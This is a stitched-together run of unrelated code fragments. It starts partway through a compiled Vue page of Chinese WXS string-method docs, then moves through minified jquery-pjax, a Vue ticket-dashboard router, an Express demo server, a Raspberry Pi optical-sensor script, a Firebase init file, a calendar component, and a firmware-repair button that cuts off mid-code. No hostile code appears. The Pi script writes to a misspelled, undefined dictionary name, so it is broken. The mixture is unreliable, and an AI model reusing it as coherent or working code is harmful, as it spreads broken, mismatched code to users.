"),e("h3",{attrs:{id:"语法-2"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#语法-2"}},[t._v("#")]),t._v(" 语法")]),t._v(" "),e("div",{staticClass:"language-wxml extra-class"},[e("pre",{pre:!0,attrs:{class:"language-text"}},[e("code",[t._v("string.valueOf(targetString)\n")])])]),e("h4",{attrs:{id:"参数-2"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#参数-2"}},[t._v("#")]),t._v(" 参数")]),t._v(" "),e("ul",[e("li",[e("code",[t._v("string")]),t._v(": "),e("code",[t._v("wxs")]),t._v(" 引入时 "),e("code",[t._v("module")]),t._v(" 的名字;")]),t._v(" "),e("li",[e("code",[t._v("targetString")]),t._v(": 转换的字符串;")])]),t._v(" "),e("h2",{attrs:{id:"charat"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#charat"}},[t._v("#")]),t._v(" charAt")]),t._v(" "),e("p",[e("code",[t._v("charAt()")]),t._v(" 同 "),e("code",[t._v("String")]),t._v(" 对象中 "),e("code",[t._v("charAt")]),t._v(" 方法。")]),t._v(" "),e("h3",{attrs:{id:"语法-3"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#语法-3"}},[t._v("#")]),t._v(" 语法")]),t._v(" "),e("div",{staticClass:"language-wxml extra-class"},[e("pre",{pre:!0,attrs:{class:"language-text"}},[e("code",[t._v("string.charAt(targetString, index)\n")])])]),e("h4",{attrs:{id:"参数-3"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#参数-3"}},[t._v("#")]),t._v(" 参数")]),t._v(" "),e("ul",[e("li",[e("code",[t._v("string")]),t._v(": "),e("code",[t._v("wxs")]),t._v(" 引入时 "),e("code",[t._v("module")]),t._v(" 的名字;")]),t._v(" "),e("li",[e("code",[t._v("targetString")]),t._v(": 查找的字符串;")]),t._v(" "),e("li",[e("code",[t._v("index")]),t._v(": 返回指定字符的位置")])]),t._v(" "),e("h2",{attrs:{id:"indexof"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#indexof"}},[t._v("#")]),t._v(" indexOf")]),t._v(" "),e("p",[e("code",[t._v("indexOf()")]),t._v(" 同 "),e("code",[t._v("String")]),t._v(" 对象中 "),e("code",[t._v("indexOf")]),t._v(" 方法。")]),t._v(" "),e("h3",{attrs:{id:"语法-4"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#语法-4"}},[t._v("#")]),t._v(" 语法")]),t._v(" "),e("div",{staticClass:"language-wxml extra-class"},[e("pre",{pre:!0,attrs:{class:"language-text"}},[e("code",[t._v("string.indexOf(targetString,searchValue,fromIndex)\n")])])]),e("h4",{attrs:{id:"参数-4"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#参数-4"}},[t._v("#")]),t._v(" 参数")]),t._v(" "),e("ul",[e("li",[e("code",[t._v("string")]),t._v(": "),e("code",[t._v("wxs")]),t._v(" 引入时 "),e("code",[t._v("module")]),t._v(" 的名字;")]),t._v(" "),e("li",[e("code",[t._v("targetString")]),t._v(": 在该字符串中查找;")]),t._v(" "),e("li",[e("code",[t._v("searchValue")]),t._v(": 被查找的值,若找到该值,返回所在索引,若未找到该值,则返回-1;")]),t._v(" "),e("li",[e("code",[t._v("fromIndex")]),t._v(" : 开始查找的位置,可以是任意整数,默认值为 0。")])]),t._v(" "),e("div",{staticClass:"custom-block tip"},[e("p",{staticClass:"custom-block-title"},[t._v("注意")]),t._v(" "),e("p",[e("code",[t._v("indexOf")]),t._v(" 方法区分大小写")])]),t._v(" "),e("h2",{attrs:{id:"lastindexof"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#lastindexof"}},[t._v("#")]),t._v(" lastIndexOf")]),t._v(" "),e("h3",{attrs:{id:"语法-5"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#语法-5"}},[t._v("#")]),t._v(" 语法")]),t._v(" "),e("div",{staticClass:"language-wxml extra-class"},[e("pre",{pre:!0,attrs:{class:"language-text"}},[e("code",[t._v("string.lastIndexOf(targetString,searchValue,fromIndex)\n")])])]),e("h4",{attrs:{id:"参数-5"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#参数-5"}},[t._v("#")]),t._v(" 参数")]),t._v(" "),e("ul",[e("li",[e("code",[t._v("string")]),t._v(": "),e("code",[t._v("wxs")]),t._v(" 引入时 "),e("code",[t._v("module")]),t._v(" 的名字;")]),t._v(" "),e("li",[e("code",[t._v("targetString")]),t._v(": 在该字符串中查找;")]),t._v(" "),e("li",[e("code",[t._v("searchValue")]),t._v(": 被查找的值,返回该值最后出现的位置的索引,若未找到该值,则返回-1;")]),t._v(" "),e("li",[e("code",[t._v("fromIndex")]),t._v(" : 开始查找的位置,可以是任意整数,默认值为 "),e("code",[t._v("targetString.length")]),t._v("。")])]),t._v(" "),e("div",{staticClass:"custom-block tip"},[e("p",{staticClass:"custom-block-title"},[t._v("注意")]),t._v(" "),e("p",[e("code",[t._v("lastIndexOf")]),t._v(" 方法区分大小写")])]),t._v(" "),e("h2",{attrs:{id:"slice"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#slice"}},[t._v("#")]),t._v(" slice")]),t._v(" "),e("blockquote",[e("p",[t._v("slice()方法提取一个字符串的一部分,并返回一新的字符串。")])]),t._v(" "),e("h3",{attrs:{id:"语法-6"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#语法-6"}},[t._v("#")]),t._v(" 语法")]),t._v(" "),e("div",{staticClass:"language-wxml extra-class"},[e("pre",{pre:!0,attrs:{class:"language-text"}},[e("code",[t._v("string.slice(targetString,beginSlice,endSlice)\n")])])]),e("h4",{attrs:{id:"参数-6"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#参数-6"}},[t._v("#")]),t._v(" 参数")]),t._v(" "),e("ul",[e("li",[e("code",[t._v("string")]),t._v(": "),e("code",[t._v("wxs")]),t._v(" 引入时 "),e("code",[t._v("module")]),t._v(" 的名字;")]),t._v(" "),e("li",[e("code",[t._v("targetString")]),t._v(": 在该字符串中查找;")]),t._v(" "),e("li",[e("code",[t._v("beginSlice")]),t._v(": 从该索引(以 0 为基数)处开始提取原字符串中的字符。如果值为负数,会被当做 sourceLength + beginSlice 看待,这里的sourceLength 是字符串的长度 (例如, 如果beginSlice 是 -3 则看作是: sourceLength - 3);")]),t._v(" "),e("li",[e("code",[t._v("endSlice")]),t._v(" : 可选。在该索引(以 0 为基数)处结束提取字符串。如果省略该参数,slice会一直提取到字符串末尾。如果该参数为负数,则被看作是 sourceLength + endSlice,这里的 sourceLength 就是字符串的长度(例如,如果 endSlice 是 -3,则是, sourceLength - 3)。")])]),t._v(" "),e("div",{staticClass:"custom-block tip"},[e("p",{staticClass:"custom-block-title"},[t._v("注意")]),t._v(" "),e("p",[e("code",[t._v("slice()")]),t._v(" 提取的新字符串包括 "),e("code",[t._v("beginSlice")]),t._v(" 但不包括 "),e("code",[t._v("endSlice")]),t._v("。")])]),t._v(" "),e("h2",{attrs:{id:"split"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#split"}},[t._v("#")]),t._v(" split")]),t._v(" "),e("blockquote",[e("p",[t._v("使用指定的分隔符字符串将一个"),e("code",[t._v("String")]),t._v("对象分割成字符串数组,以将字符串分隔为子字符串,以确定每个拆分的位置。")])]),t._v(" "),e("h3",{attrs:{id:"语法-7"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#语法-7"}},[t._v("#")]),t._v(" 语法")]),t._v(" "),e("div",{staticClass:"language-wxml extra-class"},[e("pre",{pre:!0,attrs:{class:"language-text"}},[e("code",[t._v("string.split(targetString,[separator[, limit]])\n")])])]),e("h4",{attrs:{id:"参数-7"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#参数-7"}},[t._v("#")]),t._v(" 参数")]),t._v(" "),e("ul",[e("li",[e("code",[t._v("string")]),t._v(": "),e("code",[t._v("wxs")]),t._v(" 引入时 "),e("code",[t._v("module")]),t._v(" 的名字;")]),t._v(" "),e("li",[e("code",[t._v("targetString")]),t._v(": 在该字符串中查找;")]),t._v(" "),e("li",[e("code",[t._v("separator")]),t._v(": 指定表示每个拆分应发生的点的字符串;")]),t._v(" "),e("li",[e("code",[t._v("limit")]),t._v(" : 可选。一个整数,限定返回的分割片段数量。")])]),t._v(" "),e("h4",{attrs:{id:"返回值"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#返回值"}},[t._v("#")]),t._v(" 返回值")]),t._v(" "),e("p",[t._v("返回源字符串以分隔符出现位置分隔而成的一个 Array")]),t._v(" "),e("h2",{attrs:{id:"substring"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#substring"}},[t._v("#")]),t._v(" substring")]),t._v(" "),e("blockquote",[e("p",[e("code",[t._v("substring()")]),t._v(" 返回一个字符串在开始索引到结束索引之间的一个子集, 或从开始索引直到字符串的末尾的一个子集。")])]),t._v(" "),e("h3",{attrs:{id:"语法-8"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#语法-8"}},[t._v("#")]),t._v(" 语法")]),t._v(" "),e("div",{staticClass:"language-wxml extra-class"},[e("pre",{pre:!0,attrs:{class:"language-text"}},[e("code",[t._v("string.substring(targetString,indexStart[, indexEnd])\n")])])]),e("h4",{attrs:{id:"参数-8"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#参数-8"}},[t._v("#")]),t._v(" 参数")]),t._v(" "),e("ul",[e("li",[e("code",[t._v("string")]),t._v(": "),e("code",[t._v("wxs")]),t._v(" 引入时 "),e("code",[t._v("module")]),t._v(" 的名字;")]),t._v(" "),e("li",[e("code",[t._v("targetString")]),t._v(": 在该字符串中截取;")]),t._v(" "),e("li",[e("code",[t._v("indexStart")]),t._v(": 需要截取的第一个字符的索引,该字符作为返回的字符串的首字母;")]),t._v(" "),e("li",[e("code",[t._v("indexEnd")]),t._v(" :一个 0 到字符串长度之间的整数,以该数字为索引的字符不包含在截取的字符串内。")])]),t._v(" "),e("div",{staticClass:"custom-block tip"},[e("p",{staticClass:"custom-block-title"},[t._v("提示")]),t._v(" "),e("ul",[e("li",[t._v("如果 "),e("code",[t._v("indexStart")]),t._v(" 等于 "),e("code",[t._v("indexEnd")]),t._v(","),e("code",[t._v("substring")]),t._v(" 返回一个空字符串。")]),t._v(" "),e("li",[t._v("如果省略 "),e("code",[t._v("indexEnd")]),t._v(","),e("code",[t._v("substring")]),t._v(" 提取字符一直到字符串末尾。")]),t._v(" "),e("li",[t._v("如果任一参数小于 "),e("code",[t._v("0")]),t._v(" 或为 "),e("code",[t._v("NaN")]),t._v(",则被当作 "),e("code",[t._v("0")]),t._v("。")]),t._v(" "),e("li",[t._v("如果任一参数大于 "),e("code",[t._v("targetString.length")]),t._v(",则被当作 "),e("code",[t._v("targetString.length")]),t._v("。")]),t._v(" "),e("li",[t._v("如果 "),e("code",[t._v("indexStart")]),t._v(" 大于 "),e("code",[t._v("indexEnd")]),t._v(",则 "),e("code",[t._v("substring")]),t._v(" 的执行效果就像两个参数调换了一样")])])]),t._v(" "),e("h2",{attrs:{id:"tolowercase"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#tolowercase"}},[t._v("#")]),t._v(" toLowerCase")]),t._v(" "),e("blockquote",[e("p",[e("code",[t._v("toLowerCase()")]),t._v(" 将目标字符串值转为小写形式")])]),t._v(" "),e("h3",{attrs:{id:"语法-9"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#语法-9"}},[t._v("#")]),t._v(" 语法")]),t._v(" "),e("div",{staticClass:"language-wxml extra-class"},[e("pre",{pre:!0,attrs:{class:"language-text"}},[e("code",[t._v("string.toLowerCase(targetString)\n")])])]),e("h4",{attrs:{id:"参数-9"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#参数-9"}},[t._v("#")]),t._v(" 参数")]),t._v(" "),e("ul",[e("li",[e("code",[t._v("string")]),t._v(": "),e("code",[t._v("wxs")]),t._v(" 引入时 "),e("code",[t._v("module")]),t._v(" 的名字;")]),t._v(" "),e("li",[e("code",[t._v("targetString")]),t._v(": 目标字符串")])]),t._v(" "),e("h2",{attrs:{id:"touppercase"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#touppercase"}},[t._v("#")]),t._v(" toUpperCase")]),t._v(" "),e("blockquote",[e("p",[e("code",[t._v("toUpperCase()")]),t._v(" 将目标字符串值转为大写形式")])]),t._v(" "),e("h3",{attrs:{id:"语法-10"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#语法-10"}},[t._v("#")]),t._v(" 语法")]),t._v(" "),e("div",{staticClass:"language-wxml extra-class"},[e("pre",{pre:!0,attrs:{class:"language-text"}},[e("code",[t._v("string.toUpperCase(targetString)\n")])])]),e("h4",{attrs:{id:"参数-10"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#参数-10"}},[t._v("#")]),t._v(" 参数")]),t._v(" "),e("ul",[e("li",[e("code",[t._v("string")]),t._v(": "),e("code",[t._v("wxs")]),t._v(" 引入时 "),e("code",[t._v("module")]),t._v(" 的名字;")]),t._v(" "),e("li",[e("code",[t._v("targetString")]),t._v(": 目标字符串")])]),t._v(" "),e("h2",{attrs:{id:"trim"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#trim"}},[t._v("#")]),t._v(" trim")]),t._v(" "),e("blockquote",[e("p",[e("code",[t._v("trim()")]),t._v(" 从一个字符串的两端删除空白字符。在这个上下文中的空白字符是所有的空白字符 (space, tab, no-break space 等) 以及所有行终止符字符(如 LF,CR)")])]),t._v(" "),e("h3",{attrs:{id:"语法-11"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#语法-11"}},[t._v("#")]),t._v(" 语法")]),t._v(" "),e("div",{staticClass:"language-wxml extra-class"},[e("pre",{pre:!0,attrs:{class:"language-text"}},[e("code",[t._v("string.trim(targetString)\n")])])]),e("h4",{attrs:{id:"参数-11"}},[e("a",{staticClass:"header-anchor",attrs:{href:"#参数-11"}},[t._v("#")]),t._v(" 参数")]),t._v(" "),e("ul",[e("li",[e("code",[t._v("string")]),t._v(": "),e("code",[t._v("wxs")]),t._v(" 引入时 "),e("code",[t._v("module")]),t._v(" 的名字;")]),t._v(" "),e("li",[e("code",[t._v("targetString")]),t._v(": 目标字符串")])]),t._v(" "),e("RightMenu")],1)}),[],!1,null,null,null);a.default=v.exports}}]);
!function(t){function e(e,n,a){var o=this;return this.on("click.pjax",e,function(e){var i=t.extend({},f(n,a));i.container||(i.container=t(this).attr("data-pjax")||o),r(e,i)})}function r(e,r,n){n=f(r,n);var o=e.currentTarget;if("A"!==o.tagName.toUpperCase())throw"$.fn.pjax or $.pjax.click requires an anchor element";if(!(e.which>1||e.metaKey||e.ctrlKey||e.shiftKey||e.altKey||location.protocol!==o.protocol||location.hostname!==o.hostname||o.hash&&o.href.replace(o.hash,"")===location.href.replace(location.hash,"")||o.href===location.href+"#")){var i={url:o.href,container:t(o).attr("data-pjax"),target:o},s=t.extend({},i,n),c=t.Event("pjax:click");t(o).trigger(c,[s]),c.isDefaultPrevented()||(a(s),e.preventDefault(),t(o).trigger("pjax:clicked",[s]))}}function n(e,r,n){n=f(r,n);var o=e.currentTarget;if("FORM"!==o.tagName.toUpperCase())throw"$.pjax.submit requires a form element";var i={type:o.method.toUpperCase(),url:o.action,data:t(o).serializeArray(),container:t(o).attr("data-pjax"),target:o};a(t.extend({},i,n)),e.preventDefault()}function a(e){function r(e,r){var a=t.Event(e,{relatedTarget:n});return s.trigger(a,r),!a.isDefaultPrevented()}e=t.extend(!0,{},t.ajaxSettings,a.defaults,e),t.isFunction(e.url)&&(e.url=e.url());var n=e.target,o=p(e.url).hash,s=e.context=d(e.container);e.data||(e.data={}),e.data._pjax=s.selector;var c;e.beforeSend=function(t,n){return"GET"!==n.type&&(n.timeout=0),t.setRequestHeader("X-PJAX","true"),t.setRequestHeader("X-PJAX-Container",s.selector),r("pjax:beforeSend",[t,n])?(n.timeout>0&&(c=setTimeout(function(){r("pjax:timeout",[t,e])&&t.abort("timeout")},n.timeout),n.timeout=0),void(e.requestUrl=p(n.url).href)):!1},e.complete=function(t,n){c&&clearTimeout(c),r("pjax:complete",[t,n,e]),r("pjax:end",[t,e])},e.error=function(t,n,a){var o=v("",t,e),s=r("pjax:error",[t,n,a,e]);"GET"==e.type&&"abort"!==n&&s&&i(o.url)},e.success=function(n,c,u){var f="function"==typeof t.pjax.defaults.version?t.pjax.defaults.version():t.pjax.defaults.version,d=u.getResponseHeader("X-PJAX-Version"),h=v(n,u,e);if(f&&d&&f!==d)return void i(h.url);if(!h.contents)return void i(h.url);a.state={id:e.id||l(),url:h.url,title:h.title,container:s.selector,fragment:e.fragment,timeout:e.timeout},(e.push||e.replace)&&window.history.replaceState(a.state,h.title,h.url),document.activeElement.blur(),h.title&&(document.title=h.title),s.html(h.contents);var m=s.find("input[autofocus], textarea[autofocus]").last()[0];if(m&&document.activeElement!==m&&m.focus(),x(h.scripts),"number"==typeof e.scrollTo&&t(window).scrollTop(e.scrollTo),""!==o){var j=p(h.url);j.hash=o,a.state.url=j.href,window.history.replaceState(a.state,h.title,j.href);var g=t(j.hash);g.length&&t(window).scrollTop(g.offset().top)}r("pjax:success",[n,c,u,e])},a.state||(a.state={id:l(),url:window.location.href,title:document.title,container:s.selector,fragment:e.fragment,timeout:e.timeout},window.history.replaceState(a.state,document.title));var f=a.xhr;f&&f.readyState<4&&(f.onreadystatechange=t.noop,f.abort()),a.options=e;var f=a.xhr=t.ajax(e);return f.readyState>0&&(e.push&&!e.replace&&(j(a.state.id,s.clone().contents()),window.history.pushState(null,"",u(e.requestUrl))),r("pjax:start",[f,e]),r("pjax:send",[f,e])),a.xhr}function o(e,r){var n={url:window.location.href,push:!1,replace:!0,scrollTo:!1};return a(t.extend(n,f(e,r)))}function i(t){window.history.replaceState(null,"","#"),window.location.replace(t)}function s(e){var r=e.state;if(r&&r.container){if(T&&S==r.url)return;if(a.state&&a.state.id===r.id)return;var n=t(r.container);if(n.length){var o,s=P[r.id];a.state&&(o=a.state.id<r.id?"forward":"back",g(o,a.state.id,n.clone().contents()));var c=t.Event("pjax:popstate",{state:r,direction:o});n.trigger(c);var l={id:r.id,url:r.url,container:n,push:!1,fragment:r.fragment,timeout:r.timeout,scrollTo:!1};s?(n.trigger("pjax:start",[null,l]),r.title&&(document.title=r.title),n.html(s),a.state=r,n.trigger("pjax:end",[null,l])):a(l),n[0].offsetHeight}else i(location.href)}T=!1}function c(e){var r=t.isFunction(e.url)?e.url():e.url,n=e.type?e.type.toUpperCase():"GET",a=t("<form>",{method:"GET"===n?"GET":"POST",action:r,style:"display:none"});"GET"!==n&&"POST"!==n&&a.append(t("<input>",{type:"hidden",name:"_method",value:n.toLowerCase()}));var o=e.data;if("string"==typeof o)t.each(o.split("&"),function(e,r){var n=r.split("=");a.append(t("<input>",{type:"hidden",name:n[0],value:n[1]}))});else if("object"==typeof o)for(key in o)a.append(t("<input>",{type:"hidden",name:key,value:o[key]}));t(document.body).append(a),a.submit()}function l(){return(new Date).getTime()}function u(t){return t.replace(/\?_pjax=[^&]+&?/,"?").replace(/_pjax=[^&]+&?/,"").replace(/[\?&]$/,"")}function p(t){var e=document.createElement("a");return e.href=t,e}function f(e,r){return e&&r?r.container=e:r=t.isPlainObject(e)?e:{container:e},r.container&&(r.container=d(r.container)),r}function d(e){if(e=t(e),e.length){if(""!==e.selector&&e.context===document)return e;if(e.attr("id"))return t("#"+e.attr("id"));throw"cant get selector for pjax container!"}throw"no pjax container for "+e.selector}function h(t,e){return t.filter(e).add(t.find(e))}function m(e){return t.parseHTML(e,document,!0)}function v(e,r,n){var a={};if(a.url=u(r.getResponseHeader("X-PJAX-URL")||n.requestUrl),/<html/i.test(e))var o=t(m(e.match(/<head[^>]*>([\s\S.]*)<\/head>/i)[0])),i=t(m(e.match(/<body[^>]*>([\s\S.]*)<\/body>/i)[0]));else var o=i=t(m(e));if(0===i.length)return a;if(a.title=h(o,"title").last().text(),n.fragment){if("body"===n.fragment)var s=i;else var s=h(i,n.fragment).first();s.length&&(a.contents=s.contents(),a.title||(a.title=s.attr("title")||s.data("title")))}else/<html/i.test(e)||(a.contents=i);return a.contents&&(a.contents=a.contents.not(function(){return t(this).is("title")}),a.contents.find("title").remove(),a.scripts=h(a.contents,"script[src]").remove(),a.contents=a.contents.not(a.scripts)),a.title&&(a.title=t.trim(a.title)),a}function x(e){if(e){var r=t("script[src]");e.each(function(){var e=this.src,n=r.filter(function(){return this.src===e});if(!n.length){var a=document.createElement("script");a.type=t(this).attr("type"),a.src=t(this).attr("src"),document.head.appendChild(a)}})}}function j(t,e){for(P[t]=e,C.push(t);k.length;)delete P[k.shift()];for(;C.length>a.defaults.maxCacheLength;)delete P[C.shift()]}function g(t,e,r){var n,a;P[e]=r,"forward"===t?(n=C,a=k):(n=k,a=C),n.push(e),(e=a.pop())&&delete P[e]}function w(){return t("meta").filter(function(){var e=t(this).attr("http-equiv");return e&&"X-PJAX-VERSION"===e.toUpperCase()}).attr("content")}function y(){t.fn.pjax=e,t.pjax=a,t.pjax.enable=t.noop,t.pjax.disable=b,t.pjax.click=r,t.pjax.submit=n,t.pjax.reload=o,t.pjax.defaults={timeout:650,push:!0,replace:!1,type:"GET",dataType:"html",scrollTo:0,maxCacheLength:20,version:w},t(window).on("popstate.pjax",s)}function b(){t.fn.pjax=function(){return this},t.pjax=c,t.pjax.enable=y,t.pjax.disable=t.noop,t.pjax.click=t.noop,t.pjax.submit=t.noop,t.pjax.reload=function(){window.location.reload()},t(window).off("popstate.pjax",s)}var T=!0,S=window.location.href,E=window.history.state;E&&E.container&&(a.state=E),"state"in window.history&&(T=!1);var P={},k=[],C=[];t.inArray("state",t.event.props)<0&&t.event.props.push("state"),t.support.pjax=window.history&&window.history.pushState&&window.history.replaceState&&!navigator.userAgent.match(/((iPod|iPhone|iPad).+\bOS\s+[1-4]|WebApps\/.+CFNetwork)/),t.support.pjax?y():b()}(jQuery);
import Login from "./components/acounts/login"; import Register from "./components/acounts/register"; import ActivatEemail from "./components/acounts/activateemail"; import Logout from "./components/acounts/logout"; import Dashboard from "./components/dashboard/dashboard"; import DashboardHome from "./components/dashboard/home"; import DashUsers from "./components/dashboard/users/DashUsers"; import Users from "./components/dashboard/users/users"; import EditUsers from "./components/dashboard/users/EditUsers"; import DashTikets from "./components/dashboard/tikets/DashTikets"; import Tikets from "./components/dashboard/tikets/tikets"; import DeleteTiket from "./components/dashboard/tikets/DeleteTiket"; import AddTiket from "./components/dashboard/tikets/AddTiket"; import EditTiket from "./components/dashboard/tikets/EditTiket"; import NotFound from "./components/NotFound"; import Home from "./components/home"; import Showtikets from "./components/Showtikets"; export default { mode: "history", routes: [{ path: "*", component: NotFound, name: "NotFound" }, { path: "/", component: Home, name: "Home" }, { path: "/login", component: Login, name: "Login", meta: { account: true, } }, { path: "/logout", component: Logout, name: "Logout", meta: { requiresAuth: true, } }, { path: "/activateemail/:token", component: ActivatEemail, name: "ActivatEemail", meta: { account: true, } }, { path: "/showtikets", component: Showtikets, name: "Showtikets", meta: { requiresAuth: true, user: true } }, { path: "/register", component: Register, name: "Register", meta: { account: true, } }, { path: "/dashboard", component: Dashboard, meta: { requiresAuth: true, is_admin: true }, children: [{ path: "", component: DashboardHome, name: "Dashboard" }, { path: "users", component: DashUsers, children: [{ path: "", component: Users, name: "Users" }, { path: ":id/edit", component: EditUsers, name: "EditUsers" } ] }, { path: "tikets", component: DashTikets, children: [{ path: "", component: Tikets, name: "Tikets" }, { path: ":id/delete", component: DeleteTiket, name: "DeleteTiket" }, { path: ":id/edit", component: EditTiket, name: "EditTiket" }, { path: "add", component: AddTiket, name: "AddTiket" } ] } ] } ] }
// Import express package const express = require('express'); // Require the JSON file and assign it to a variable called `termData` const termData = require('./terms.json'); const PORT = 3001; // Initialize our app variable by setting it to the value of express() const app = express(); // Add a static route for index.html app.get('/', (req, res) => { // `res.sendFile` is Express' way of sending a file // `__dirname` is a variable that always returns the directory that your server is running in res.sendFile(__dirname + '/index.html'); }); app.get('/', (req, res) => res.send('Visit http://localhost:3001/api')); // res.json() allows us to return JSON instead of a buffer, string, or static file app.get('/api', (req, res) => res.json(termData)); app.listen(PORT, () => console.log(`Example app listening at http://localhost:${PORT}`) );
#!/usr/bin/python # Sample Python3 app for reading 3x Optical Sensors # # +-------+--------------+------+ # |Module | Desc GPIO | | # | | Header |Pins | # +-------+--------------+------+ # |SensorL| GPIO17 |P1-11 | # |SensorC| GPIO27 |P1-13 | # |SensorR| GPIO22 |P1-15 | # | | | | # |VCC | 3.3V | | # |GND | GND | | # +-------+--------------+------+ ##??????????????????????????????????????????? ## GPIO.wait_for_edge(GPIO_ECHO, GPIO.BOTH) ## start = time.time() ## GPIO.wait_for_edge(GPIO_ECHO, GPIO.BOTH) ## stop = time.time() ## ## and initialized with ## GPIO.add_event_detect(GPIO_ECHO, GPIO.BOTH) ## ##R educing CPU load significantly. ##I tried using GPIO.RISING the GPIO.FALLING ##??????????????????????????????????????????? # ----------------------- # Import required Python libraries # ----------------------- import time import RPi.GPIO as GPIO from sense_hat import SenseHat # ----------------------- # Define some functions # ----------------------- # Write input value to dictionary def opticalCallback(channel): if channel not in opticalDict: print("Weird channel from interrupt") else: opticalDict[channel] = GPIO.input(channel) # ----------------------- # Main Script # ----------------------- # Use BCM GPIO references, instead of physical pin numbers GPIO.setmode(GPIO.BCM) sense = SenseHat() sense.clear() # Define GPIO to use on Pi GPIO_opticalLeft = 17 GPIO_opticalCenter = 27 GPIO_opticalRight = 22 # Define basic coulors red = (255, 0, 0) green = (0, 255, 0) blue = (0, 0, 255) print ("Optical sensors") # Set pins as output and input GPIO.setup(GPIO_opticalLeft ,GPIO.IN) GPIO.setup(GPIO_opticalCenter,GPIO.IN) GPIO.setup(GPIO_opticalRight ,GPIO.IN) # Create a empty dictionary # Is global to allow calling from within callback-function opticalDict = {GPIO_opticalLeft: 0, GPIO_opticalCenter: 0, GPIO_opticalRight: 0} # Set initial measurements for each channel optocalDict[GPIO_opticalLeft] = GPIO.input(GPIO_opticalLeft) optocalDict[GPIO_opticalCenter] = GPIO.input(GPIO_opticalCenter) optocalDict[GPIO_opticalRight] = GPIO.input(GPIO_opticalRight) # Tell GPIO to run a threaded callback for each change event # https://sourceforge.net/p/raspberry-gpio-python/wiki/Inputs/ GPIO.add_event_detect(GPIO_opticalLeft, GPIO.BOTH, callback=opticalCallback) GPIO.add_event_detect(GPIO_opticalCenter, GPIO.BOTH, callback=opticalCallback) GPIO.add_event_detect(GPIO_opticalRight, GPIO.BOTH, callback=opticalCallback) # Wrap main content in a try block so we can # catch the user pressing CTRL-C and run the # GPIO cleanup function. This will also prevent # the user seeing lots of unnecessary error # messages. try: print ("Try...") while True: print ('Left: %s Center: %s Right: %s' % (opticalDict[GPIO_opticalLeft], opticalDict[GPIO_opticalCenter], opticalDict[GPIO_opticalRight])) # examples using (x, y, pixel) on the SenseHAT if opticalDict[GPIO_opticalLeft]: sense.set_pixel(0, 0, red) else: sense.set_pixel(0, 0, green) if opticalDict[GPIO_opticalCenter]: sense.set_pixel(1, 0, red) else: sense.set_pixel(1, 0, green) if opticalDict[GPIO_opticalRight]: sense.set_pixel(2, 0, red) else: sense.set_pixel(2, 0, green) time.sleep(1) except KeyboardInterrupt: # User pressed CTRL-C # Reset GPIO settings print ("Cancel! Ctrl-C pressed...") GPIO.cleanup() sense.clear()
import firebase from "firebase/app"; import "firebase/auth"; const app = firebase.initializeApp({ apiKey: process.env.REACT_APP_FIREBASE_API_KEY, authDomain: process.env.REACT_APP_FIREBASE_AUTH_DOMAIN, projectId: process.env.REACT_APP_FIREBASE_PROJECT_ID, storageBucket: process.env.REACT_APP_FIREBASE_STORAGE_BUCKET, messagingSenderId: process.env.REACT_APP_FIREBASE_MESSAGING_SENDER_ID, appId: process.env.REACT_APP_FIREBASE_APP_ID, measurementId: process.env.REACT_APP_FIREBASE_MEASUREMENT_ID }) export const auth = app.auth() export default app
import React from 'react'; import BigCalendar from 'react-big-calendar'; import events from '../events'; function Event({ event }) { return ( <span> <strong> {event.title} </strong> { event.desc && (': ' + event.desc)} </span> ) } function EventAgenda({ event }) { return <span> <em style={{ color: 'magenta'}}>{event.title}</em> <p>{ event.desc }</p> </span> } class Rendering extends React.Component{ render(){ return ( <div {...this.props}> <BigCalendar events={events} defaultDate={new Date(2015, 3, 1)} defaultView='agenda' components={{ event: Event, agenda: { event: EventAgenda } }} /> </div> ) } } export default Rendering;
// @flow import React, { Fragment, PureComponent } from 'react' import { compose } from 'redux' import { connect } from 'react-redux' import { withRouter } from 'react-router' import { translate } from 'react-i18next' import { push } from 'react-router-redux' import logger from 'logger' import type { T } from 'types/common' import firmwareRepair from 'commands/firmwareRepair' import Button from 'components/base/Button' import RepairModal from 'components/base/Modal/RepairModal' type Props = { t: T, push: string => void, buttonProps?: *, } type State = { opened: boolean, isLoading: boolean, error: ?Error, progress: number, } class RepairDeviceButton extends PureComponent<Props, State> { state = { opened: false, isLoading: false, error: null, progress: 0, } componentWillUnmount() { if (this.timeout) { clearTimeout(this.timeout) } if (this.sub) this.sub.unsubscribe() } open = () => this.setState({ opened: true, error: null }) sub: * timeout: * close = () => { if (this.sub) this.sub.unsubscribe() if (this.timeout) clearTimeout(this.timeout) this.setState({ opened: false, isLoading: false, error: null, progress: 0 }) } repair = (version = null) => { if (this.state.isLoading) return const { push } = this.props this.timeout = setTimeout(() => this.setState({ isLoading: true }), 500) this.sub = firmwareRepair.send({ version }).subscribe({ next: patch => { this.setState(patch) }, error: error => { logger.critical(error) if (this.timeout) clearTimeout(this.timeout) this.setState({ error, isLoading: false, progress: 0 }) }, complete: () => { if (this.timeout) clearTimeout(this.timeout) this.setState({ opened: false, isLoading: false, progress: 0 }, () => { push('/manager') }) }, }) } render() { const { t, buttonProps } = this.props const { opened, isLoading, error, progress } 